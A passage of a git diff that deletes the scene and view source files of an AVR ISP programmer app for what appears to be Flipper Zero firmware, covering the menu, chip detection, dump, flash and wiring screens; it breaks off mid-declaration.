file mode 100644 index e8890e373..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_load.c +++ /dev/null @@ -1,22 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_load_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - if(avr_isp_load_from_file(app)) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneWriter); - } else { - scene_manager_previous_scene(app->scene_manager); - } -} - -bool avr_isp_scene_load_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void avr_isp_scene_load_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_programmer.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_programmer.c deleted file mode 100644 index 0915e1e8a..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_programmer.c +++ /dev/null @@ -1,28 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_programmer_callback(AvrIspCustomEvent event, void* context) { - furi_assert(context); - - AvrIspApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void avr_isp_scene_programmer_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - avr_isp_programmer_view_set_callback( - app->avr_isp_programmer_view, avr_isp_scene_programmer_callback, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewProgrammer); -} - -bool avr_isp_scene_programmer_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void avr_isp_scene_programmer_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_reader.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_reader.c deleted file mode 100644 index 8dcb47597..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_reader.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_reader_callback(AvrIspCustomEvent event, void* context) { - furi_assert(context); - - AvrIspApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void avr_isp_scene_reader_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - avr_isp_reader_set_file_path( - app->avr_isp_reader_view, furi_string_get_cstr(app->file_path), app->file_name_tmp); - avr_isp_reader_view_set_callback(app->avr_isp_reader_view, avr_isp_scene_reader_callback, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewReader); -} - -bool avr_isp_scene_reader_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - AvrIspApp* app = context; - UNUSED(app); - bool consumed = false; - if(event.type == SceneManagerEventTypeBack) { - //do not handle exit on "Back" - consumed = true; - } else if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case AvrIspCustomEventSceneReadingOk: - scene_manager_next_scene(app->scene_manager, AvrIspSceneSuccess); - consumed = true; - break; - case AvrIspCustomEventSceneExit: - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - case AvrIspCustomEventSceneErrorVerification: - app->error = AvrIspErrorVerification; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - case AvrIspCustomEventSceneErrorReading: - app->error = AvrIspErrorReading; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - default: - break; - } - } else if(event.type == SceneManagerEventTypeTick) { - avr_isp_reader_update_progress(app->avr_isp_reader_view); - } - return consumed; -} - -void avr_isp_scene_reader_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_start.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_start.c deleted file mode 100644 index b00bfefce..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_start.c +++ /dev/null @@ -1,75 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_start_submenu_callback(void* context, uint32_t index) { - furi_assert(context); - AvrIspApp* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void avr_isp_scene_start_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - Submenu* submenu = app->submenu; - submenu_add_item( - submenu, "Dump AVR", SubmenuIndexAvrIspReader, avr_isp_scene_start_submenu_callback, app); - submenu_add_item( - submenu, "Flash AVR", SubmenuIndexAvrIspWriter, avr_isp_scene_start_submenu_callback, app); - submenu_add_item( - submenu, - "ISP Programmer", - SubmenuIndexAvrIspProgrammer, - avr_isp_scene_start_submenu_callback, - app); - submenu_add_item( - submenu, "Wiring", SubmenuIndexAvrIsWiring, avr_isp_scene_start_submenu_callback, app); - submenu_add_item( - submenu, "About", SubmenuIndexAvrIspAbout, avr_isp_scene_start_submenu_callback, app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, AvrIspSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewSubmenu); -} - -bool avr_isp_scene_start_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - AvrIspApp* app = context; - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexAvrIspAbout) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneAbout); - consumed = true; - } else if(event.event == SubmenuIndexAvrIspProgrammer) { - scene_manager_set_scene_state( - app->scene_manager, AvrIspSceneChipDetect, AvrIspViewProgrammer); - scene_manager_next_scene(app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - } else if(event.event == SubmenuIndexAvrIspReader) { - scene_manager_set_scene_state( - app->scene_manager, AvrIspSceneChipDetect, AvrIspViewReader); - scene_manager_next_scene(app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - } else if(event.event == SubmenuIndexAvrIspWriter) { - scene_manager_set_scene_state( - app->scene_manager, AvrIspSceneChipDetect, AvrIspViewWriter); - scene_manager_next_scene(app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - } else if(event.event == SubmenuIndexAvrIsWiring) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneWiring); - consumed = true; - } - scene_manager_set_scene_state(app->scene_manager, AvrIspSceneStart, event.event); - } - - return consumed; -} - -void avr_isp_scene_start_on_exit(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_success.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_success.c deleted file mode 100644 index a88ed28aa..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_success.c +++ /dev/null @@ -1,44 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_success_popup_callback(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, AvrIspCustomEventSceneSuccess); -} - -void avr_isp_scene_success_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - Popup* popup = app->popup; - popup_set_icon(popup, 32, 5, &I_dolphin_nice_96x59); - popup_set_header(popup, "Success!", 8, 22, AlignLeft, AlignBottom); - popup_set_timeout(popup, 1500); - popup_set_context(popup, app); - popup_set_callback(popup, avr_isp_scene_success_popup_callback); - popup_enable_timeout(popup); - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewPopup); -} - -bool avr_isp_scene_success_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - AvrIspApp* app = context; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == AvrIspCustomEventSceneSuccess) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneStart); - return true; - } - } - return false; -} - -void avr_isp_scene_success_on_exit(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - Popup* popup = app->popup; - popup_reset(popup); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_wiring.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_wiring.c deleted file mode 100644 index 787ed5673..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_wiring.c +++ /dev/null @@ -1,21 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_wiring_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - widget_add_icon_element(app->widget, 0, 0, &I_avr_wiring); - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewWidget); -} - -bool avr_isp_scene_wiring_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} -void avr_isp_scene_wiring_on_exit(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_writer.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_writer.c deleted file mode 100644 index 39c944fd5..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_writer.c +++ /dev/null @@ -1,69 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_writer_callback(AvrIspCustomEvent event, void* context) { - furi_assert(context); - - AvrIspApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void avr_isp_scene_writer_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - avr_isp_writer_set_file_path( - app->avr_isp_writer_view, furi_string_get_cstr(app->file_path), app->file_name_tmp); - avr_isp_writer_view_set_callback(app->avr_isp_writer_view, avr_isp_scene_writer_callback, app); - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewWriter); -} - -bool avr_isp_scene_writer_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - AvrIspApp* app = context; - bool consumed = false; - if(event.type == SceneManagerEventTypeBack) { - //do not handle exit on "Back" - consumed = true; - } else if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case AvrIspCustomEventSceneExitStartMenu: - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneStart); - consumed = true; - break; - case AvrIspCustomEventSceneExit: - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - case AvrIspCustomEventSceneErrorVerification: - app->error = AvrIspErrorVerification; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - case AvrIspCustomEventSceneErrorWriting: - app->error = AvrIspErrorWriting; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - case AvrIspCustomEventSceneErrorWritingFuse: - app->error = AvrIspErrorWritingFuse; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - default: - break; - } - } else if(event.type == SceneManagerEventTypeTick) { - avr_isp_writer_update_progress(app->avr_isp_writer_view); - } - return consumed; -} - -void avr_isp_scene_writer_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_chip_detect.c b/applications/external/avr_isp_programmer/views/avr_isp_view_chip_detect.c deleted file mode 100644 index b30d4e916..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_chip_detect.c +++ /dev/null @@ -1,214 +0,0 @@ -#include "avr_isp_view_chip_detect.h" -#include "avr_isp_icons.h" -#include -#include - -#include "../helpers/avr_isp_worker_rw.h" - -struct AvrIspChipDetectView { - View* view; - AvrIspWorkerRW* avr_isp_worker_rw; - AvrIspChipDetectViewCallback callback; - void* context; -}; - -typedef struct { - uint16_t idx; - const char* name_chip; - uint32_t flash_size; - AvrIspChipDetectViewState state; -} AvrIspChipDetectViewModel; - -void avr_isp_chip_detect_view_set_callback( - AvrIspChipDetectView* instance, - AvrIspChipDetectViewCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - - instance->callback = callback; - instance->context = context; -} - -void avr_isp_chip_detect_set_state(AvrIspChipDetectView* instance, AvrIspChipDetectViewState state) { - furi_assert(instance); - - with_view_model( - instance->view, AvrIspChipDetectViewModel * model, { model->state = state; }, true); -} - -void avr_isp_chip_detect_view_draw(Canvas* canvas, AvrIspChipDetectViewModel* model) { - canvas_clear(canvas); - - char str_buf[64] = {0}; - canvas_set_font(canvas, FontPrimary); - - switch(model->state) { - case AvrIspChipDetectViewStateDetected: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "AVR chip detected!"); - canvas_draw_icon(canvas, 29, 14, &I_chip_long_70x22); - canvas_set_font(canvas, FontSecondary); - snprintf(str_buf, sizeof(str_buf), "%ld Kb", model->flash_size / 1024); - canvas_draw_str_aligned(canvas, 64, 25, AlignCenter, AlignCenter, str_buf); - canvas_draw_str_aligned(canvas, 64, 45, AlignCenter, AlignCenter, model->name_chip); - elements_button_right(canvas, "Next"); - break; - case AvrIspChipDetectViewStateErrorOccured: - canvas_draw_str_aligned( - canvas, 64, 5, AlignCenter, AlignCenter, "Error occured, try again!"); - canvas_draw_icon(canvas, 29, 14, &I_chip_error_70x22); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, 64, 45, AlignCenter, AlignCenter, "Check the wiring and retry"); - break; - case AvrIspChipDetectViewStateErrorVerification: - canvas_draw_str_aligned( - canvas, 64, 5, AlignCenter, AlignCenter, "Data verification failed"); - canvas_draw_icon(canvas, 29, 14, &I_chip_error_70x22); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, 64, 45, AlignCenter, AlignCenter, "Try to restart the process"); - break; - - default: - //AvrIspChipDetectViewStateNoDetect - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "AVR chip not found!"); - canvas_draw_icon(canvas, 29, 12, &I_chif_not_found_83x37); - - break; - } - canvas_set_font(canvas, FontSecondary); - elements_button_left(canvas, "Retry"); -} - -bool avr_isp_chip_detect_view_input(InputEvent* event, void* context) { - furi_assert(context); - - AvrIspChipDetectView* instance = context; - - if(event->type == InputTypeShort) { - if(event->key == InputKeyBack) { - return false; - } else if(event->key == InputKeyRight) { - with_view_model( - instance->view, - AvrIspChipDetectViewModel * model, - { - if(model->state == AvrIspChipDetectViewStateDetected) { - if(instance->callback) - instance->callback( - AvrIspCustomEventSceneChipDetectOk, instance->context); - } - }, - false); - - } else if(event->key == InputKeyLeft) { - bool detect_chip = false; - with_view_model( - instance->view, - AvrIspChipDetectViewModel * model, - { - if(model->state != AvrIspChipDetectViewStateDetecting) { - model->state = AvrIspChipDetectViewStateDetecting; - detect_chip = true; - } - }, - false); - if(detect_chip) avr_isp_worker_rw_detect_chip(instance->avr_isp_worker_rw); - } - } else { - return false; - } - - return true; -} - -static void avr_isp_chip_detect_detect_chip_callback( - void* context, - const char* name, - bool detect_chip, - uint32_t flash_size) { - furi_assert(context); - - AvrIspChipDetectView* instance = context; - with_view_model( - instance->view, - AvrIspChipDetectViewModel * model, - { - model->name_chip = name; - model->flash_size = flash_size; - if(detect_chip) { - model->state = AvrIspChipDetectViewStateDetected; - } else { - model->state = AvrIspChipDetectViewStateNoDetect; - } - }, - true); -} -void avr_isp_chip_detect_view_enter(void* context) { - furi_assert(context); - - AvrIspChipDetectView* instance = context; - bool detect_chip = false; - with_view_model( - instance->view, - AvrIspChipDetectViewModel * model, - { - if(model->state == AvrIspChipDetectViewStateNoDetect || - model->state == AvrIspChipDetectViewStateDetected) { - detect_chip = true; - } - }, - false); - - //Start avr_isp_worker_rw - instance->avr_isp_worker_rw = avr_isp_worker_rw_alloc(instance->context); - - avr_isp_worker_rw_set_callback( - instance->avr_isp_worker_rw, avr_isp_chip_detect_detect_chip_callback, instance); - - if(detect_chip) avr_isp_worker_rw_detect_chip(instance->avr_isp_worker_rw); -} - -void avr_isp_chip_detect_view_exit(void* context) { - furi_assert(context); - - AvrIspChipDetectView* instance = context; - - avr_isp_worker_rw_set_callback(instance->avr_isp_worker_rw, NULL, NULL); - avr_isp_worker_rw_free(instance->avr_isp_worker_rw); -} - -AvrIspChipDetectView* avr_isp_chip_detect_view_alloc() { - AvrIspChipDetectView* instance = malloc(sizeof(AvrIspChipDetectView)); - - // View allocation and configuration - instance->view = view_alloc(); - - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(AvrIspChipDetectViewModel)); - view_set_context(instance->view, instance); - view_set_draw_callback(instance->view, (ViewDrawCallback)avr_isp_chip_detect_view_draw); - view_set_input_callback(instance->view, avr_isp_chip_detect_view_input); - view_set_enter_callback(instance->view, avr_isp_chip_detect_view_enter); - view_set_exit_callback(instance->view, avr_isp_chip_detect_view_exit); - - with_view_model( - instance->view, - AvrIspChipDetectViewModel * model, - { model->state = AvrIspChipDetectViewStateNoDetect; }, - false); - return instance; -} - -void avr_isp_chip_detect_view_free(AvrIspChipDetectView* instance) { - furi_assert(instance); - - view_free(instance->view); - free(instance); -} - -View* avr_isp_chip_detect_view_get_view(AvrIspChipDetectView* instance) { - furi_assert(instance); - - return instance->view; -} diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_chip_detect.h b/applications/external/avr_isp_programmer/views/avr_isp_view_chip_detect.h deleted file mode 100644 index 37f2ae233..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_chip_detect.h +++ /dev/null @@ -1,32 +0,0 @@ -#pragma once - -#include -#include "../helpers/avr_isp_types.h" -#include "../helpers/avr_isp_event.h" - -typedef struct AvrIspChipDetectView AvrIspChipDetectView; - -typedef void (*AvrIspChipDetectViewCallback)(AvrIspCustomEvent event, void* context); - -typedef enum { - AvrIspChipDetectViewStateNoDetect, - AvrIspChipDetectViewStateDetecting, - AvrIspChipDetectViewStateDetected, - AvrIspChipDetectViewStateErrorOccured, - AvrIspChipDetectViewStateErrorVerification, -} AvrIspChipDetectViewState; - -void avr_isp_chip_detect_view_set_callback( - AvrIspChipDetectView* instance, - AvrIspChipDetectViewCallback callback, - void* context); - -void avr_isp_chip_detect_set_state(AvrIspChipDetectView* instance, AvrIspChipDetectViewState state); - -AvrIspChipDetectView* avr_isp_chip_detect_view_alloc(); - -void avr_isp_chip_detect_view_free(AvrIspChipDetectView* instance); - -View* avr_isp_chip_detect_view_get_view(AvrIspChipDetectView* instance); - -void avr_isp_chip_detect_view_exit(void* context); diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_programmer.c b/applications/external/avr_isp_programmer/views/avr_isp_view_programmer.c deleted file mode 100644 index 38b7394d6..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_programmer.c +++ /dev/null @@ -1,135 +0,0 @@ -#include "avr_isp_view_programmer.h" -#include "avr_isp_icons.h" -#include - -#include "../helpers/avr_isp_worker.h" -#include - -struct AvrIspProgrammerView { - View* view; - AvrIspWorker* worker; - AvrIspProgrammerViewCallback callback; - void* context; -}; - -typedef struct { - AvrIspProgrammerViewStatus status; -} AvrIspProgrammerViewModel; - -void avr_isp_programmer_view_set_callback( - AvrIspProgrammerView* instance, - AvrIspProgrammerViewCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - - instance->callback = callback; - instance->context = context; -} - -void avr_isp_programmer_view_draw(Canvas* canvas, AvrIspProgrammerViewModel* model) { - canvas_clear(canvas); - - if(model->status == AvrIspProgrammerViewStatusUSBConnect) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_icon(canvas, 0, 0, &I_isp_active_128x53); - elements_multiline_text(canvas, 45, 10, "ISP mode active"); - } else { - canvas_set_font(canvas, FontSecondary); - canvas_draw_icon(canvas, 51, 6, &I_link_waiting_77x56); - elements_multiline_text(canvas, 0, 25, "Waiting for\nsoftware\nconnection"); - } -} - -bool avr_isp_programmer_view_input(InputEvent* event, void* context) { - furi_assert(context); - UNUSED(context); - - if(event->key == InputKeyBack || event->type != InputTypeShort) { - return false; - } - - return true; -} - -static void avr_isp_programmer_usb_connect_callback(void* context, bool status_connect) { - furi_assert(context); - AvrIspProgrammerView* instance = context; - - with_view_model( - instance->view, - AvrIspProgrammerViewModel * model, - { - if(status_connect) { - model->status = AvrIspProgrammerViewStatusUSBConnect; - } else { - model->status = AvrIspProgrammerViewStatusNoUSBConnect; - } - }, - true); -} - -void avr_isp_programmer_view_enter(void* context) { - furi_assert(context); - - AvrIspProgrammerView* instance = context; - with_view_model( - instance->view, - AvrIspProgrammerViewModel * model, - { model->status = AvrIspProgrammerViewStatusNoUSBConnect; }, - true); - - //Start worker - instance->worker = avr_isp_worker_alloc(instance->context); - - avr_isp_worker_set_callback( - instance->worker, avr_isp_programmer_usb_connect_callback, instance); - - avr_isp_worker_start(instance->worker); -} - -void avr_isp_programmer_view_exit(void* context) { - furi_assert(context); - - AvrIspProgrammerView* instance = context; - //Stop worker - if(avr_isp_worker_is_running(instance->worker)) { - avr_isp_worker_stop(instance->worker); - } - avr_isp_worker_set_callback(instance->worker, NULL, NULL); - avr_isp_worker_free(instance->worker); -} - -AvrIspProgrammerView* avr_isp_programmer_view_alloc() { - AvrIspProgrammerView* instance = malloc(sizeof(AvrIspProgrammerView)); - - // View allocation and configuration - instance->view = view_alloc(); - - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(AvrIspProgrammerViewModel)); - view_set_context(instance->view, instance); - view_set_draw_callback(instance->view, (ViewDrawCallback)avr_isp_programmer_view_draw); - view_set_input_callback(instance->view, avr_isp_programmer_view_input); - view_set_enter_callback(instance->view, avr_isp_programmer_view_enter); - view_set_exit_callback(instance->view, avr_isp_programmer_view_exit); - - with_view_model( - instance->view, - AvrIspProgrammerViewModel * model, - { model->status = AvrIspProgrammerViewStatusNoUSBConnect; }, - false); - return instance; -} - -void avr_isp_programmer_view_free(AvrIspProgrammerView* instance) { - furi_assert(instance); - - view_free(instance->view); - free(instance); -} - -View* avr_isp_programmer_view_get_view(AvrIspProgrammerView* instance) { - furi_assert(instance); - - return instance->view; -} diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_programmer.h b/applications/external/avr_isp_programmer/views/avr_isp_view_programmer.h deleted file mode 100644 index 9f005b026..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_programmer.h +++ /dev/null @@ -1,27 +0,0 @@ -#pragma once - -#include -#include "../helpers/avr_isp_types.h" -#include "../helpers/avr_isp_event.h" - -typedef struct AvrIspProgrammerView AvrIspProgrammerView; - -typedef void (*AvrIspProgrammerViewCallback)(AvrIspCustomEvent event, void* context); - -typedef enum { - AvrIspProgrammerViewStatusNoUSBConnect, - AvrIspProgrammerViewStatusUSBConnect, -} AvrIspProgrammerViewStatus; - -void avr_isp_programmer_view_set_callback( - AvrIspProgrammerView* instance, - AvrIspProgrammerViewCallback callback, - void* context); - -AvrIspProgrammerView* avr_isp_programmer_view_alloc(); - -void avr_isp_programmer_view_free(AvrIspProgrammerView* instance); - -View* avr_isp_programmer_view_get_view(AvrIspProgrammerView* instance); - -void avr_isp_programmer_view_exit(void* context); diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_reader.c b/applications/external/avr_isp_programmer/views/avr_isp_view_reader.c deleted file mode 100644 index 92d15bd7f..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_reader.c +++ /dev/null @@ -1,215 +0,0 @@ -#include "avr_isp_view_reader.h" -#include - -#include "../helpers/avr_isp_worker_rw.h" - -struct AvrIspReaderView { - View* view; - AvrIspWorkerRW* avr_isp_worker_rw; - const char* file_path; - const char* file_name; - AvrIspReaderViewCallback callback; - void* context; -}; - -typedef struct { - AvrIspReaderViewStatus status; - float progress_flash; - float progress_eeprom; -} AvrIspReaderViewModel; - -void avr_isp_reader_update_progress(AvrIspReaderView* instance) { - with_view_model( - instance->view, - AvrIspReaderViewModel * model, - { - model->progress_flash = - avr_isp_worker_rw_get_progress_flash(instance->avr_isp_worker_rw); - model->progress_eeprom = - avr_isp_worker_rw_get_progress_eeprom(instance->avr_isp_worker_rw); - }, - true); -} - -void avr_isp_reader_view_set_callback( - AvrIspReaderView* instance, - AvrIspReaderViewCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - - instance->callback = callback; - instance->context = context; -} - -void avr_isp_reader_set_file_path( - AvrIspReaderView* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - - instance->file_path = file_path; - instance->file_name = file_name; -} - -void avr_isp_reader_view_draw(Canvas* canvas, AvrIspReaderViewModel* model) { - canvas_clear(canvas); - char str_buf[64] = {0}; - - canvas_set_font(canvas, FontPrimary); - switch(model->status) { - case AvrIspReaderViewStatusIDLE: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Press start to dump"); - canvas_set_font(canvas, FontSecondary); - elements_button_center(canvas, "Start"); - break; - case AvrIspReaderViewStatusReading: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Reading dump"); - break; - case AvrIspReaderViewStatusVerification: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Verifyng dump"); - break; - - default: - break; - } - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 27, "Flash"); - snprintf(str_buf, sizeof(str_buf), "%d%%", (uint8_t)(model->progress_flash * 100)); - elements_progress_bar_with_text(canvas, 44, 17, 84, model->progress_flash, str_buf); - canvas_draw_str(canvas, 0, 43, "EEPROM"); - snprintf(str_buf, sizeof(str_buf), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - elements_progress_bar_with_text(canvas, 44, 34, 84, model->progress_eeprom, str_buf); -} - -bool avr_isp_reader_view_input(InputEvent* event, void* context) { - furi_assert(context); - AvrIspReaderView* instance = context; - - bool ret = true; - if(event->key == InputKeyBack && event->type == InputTypeShort) { - with_view_model( - instance->view, - AvrIspReaderViewModel * model, - { - if(model->status == AvrIspReaderViewStatusIDLE) { - if(instance->callback) - instance->callback(AvrIspCustomEventSceneExit, instance->context); - ret = false; - } - }, - false); - } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - with_view_model( - instance->view, - AvrIspReaderViewModel * model, - { - if(model->status == AvrIspReaderViewStatusIDLE) { - model->status = AvrIspReaderViewStatusReading; - avr_isp_worker_rw_read_dump_start( - instance->avr_isp_worker_rw, instance->file_path, instance->file_name); - } - }, - false); - } - return ret; -} - -static void avr_isp_reader_callback_status(void* context, AvrIspWorkerRWStatus status) { - furi_assert(context); - AvrIspReaderView* instance = context; - - with_view_model( - instance->view, - AvrIspReaderViewModel * model, - { - switch(status) { - case AvrIspWorkerRWStatusEndReading: - model->status = AvrIspReaderViewStatusVerification; - avr_isp_worker_rw_verification_start( - instance->avr_isp_worker_rw, instance->file_path, instance->file_name); - model->status = AvrIspReaderViewStatusVerification; - break; - case AvrIspWorkerRWStatusEndVerification: - if(instance->callback) - instance->callback(AvrIspCustomEventSceneReadingOk, instance->context); - break; - case AvrIspWorkerRWStatusErrorVerification: - if(instance->callback) - instance->callback(AvrIspCustomEventSceneErrorVerification, instance->context); - break; - - default: - //AvrIspWorkerRWStatusErrorReading; - if(instance->callback) - instance->callback(AvrIspCustomEventSceneErrorReading, instance->context); - break; - } - }, - true); -} - -void avr_isp_reader_view_enter(void* context) { - furi_assert(context); - AvrIspReaderView* instance = context; - - with_view_model( - instance->view, - AvrIspReaderViewModel * model, - { - model->status = AvrIspReaderViewStatusIDLE; - model->progress_flash = 0.0f; - model->progress_eeprom = 0.0f; - }, - true); - - //Start avr_isp_worker_rw - instance->avr_isp_worker_rw = avr_isp_worker_rw_alloc(instance->context); - - avr_isp_worker_rw_set_callback_status( - instance->avr_isp_worker_rw, avr_isp_reader_callback_status, instance); - - avr_isp_worker_rw_start(instance->avr_isp_worker_rw); -} - -void avr_isp_reader_view_exit(void* context) { - furi_assert(context); - - AvrIspReaderView* instance = context; - //Stop avr_isp_worker_rw - if(avr_isp_worker_rw_is_running(instance->avr_isp_worker_rw)) { - avr_isp_worker_rw_stop(instance->avr_isp_worker_rw); - } - - avr_isp_worker_rw_free(instance->avr_isp_worker_rw); -} - -AvrIspReaderView* avr_isp_reader_view_alloc() { - AvrIspReaderView* instance = malloc(sizeof(AvrIspReaderView)); - - // View allocation and configuration - instance->view = view_alloc(); - - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(AvrIspReaderViewModel)); - view_set_context(instance->view, instance); - view_set_draw_callback(instance->view, (ViewDrawCallback)avr_isp_reader_view_draw); - view_set_input_callback(instance->view, avr_isp_reader_view_input); - view_set_enter_callback(instance->view, avr_isp_reader_view_enter); - view_set_exit_callback(instance->view, avr_isp_reader_view_exit); - - return instance; -} - -void avr_isp_reader_view_free(AvrIspReaderView* instance) { - furi_assert(instance); - - view_free(instance->view); - free(instance); -} - -View* avr_isp_reader_view_get_view(AvrIspReaderView* instance) { - furi_assert(instance); - - return instance->view; -} diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_reader.h b/applications/external/avr_isp_programmer/views/avr_isp_view_reader.h deleted file mode 100644 index 44a439948..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_reader.h +++ /dev/null @@ -1,35 +0,0 @@ -#pragma once - -#include -#include "../helpers/avr_isp_types.h" -#include "../helpers/avr_isp_event.h" - -typedef struct AvrIspReaderView AvrIspReaderView; - -typedef void (*AvrIspReaderViewCallback)(AvrIspCustomEvent event, void* context); - -typedef enum { - AvrIspReaderViewStatusIDLE, - AvrIspReaderViewStatusReading, - AvrIspReaderViewStatusVerification, -} AvrIspReaderViewStatus; - -void avr_isp_reader_update_progress(AvrIspReaderView* instance); - -void avr_isp_reader_set_file_path( - AvrIspReaderView* instance, - const char* file_path, - const char* file_name); - -void avr_isp_reader_view_set_callback( - AvrIspReaderView* instance, - AvrIspReaderViewCallback callback, - void* context); - -AvrIspReaderView* avr_isp_reader_view_alloc(); - -void avr_isp_reader_view_free(AvrIspReaderView* instance); - -View* 